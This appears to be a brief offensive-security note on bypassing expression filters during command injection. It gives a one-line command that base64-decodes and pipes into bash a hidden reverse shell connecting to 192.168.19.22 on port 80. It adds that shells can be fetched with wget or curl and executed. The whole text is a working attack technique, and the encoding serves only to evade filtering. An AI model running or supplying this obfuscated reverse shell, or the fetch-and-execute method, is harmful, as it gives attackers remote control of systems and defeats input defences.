When expressions are filtered, can use shell b64 encoded
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5LjIyLzgwIDA+JjEK | base64 -d | bash
Also shells can be uploaded via wget or curl and then executed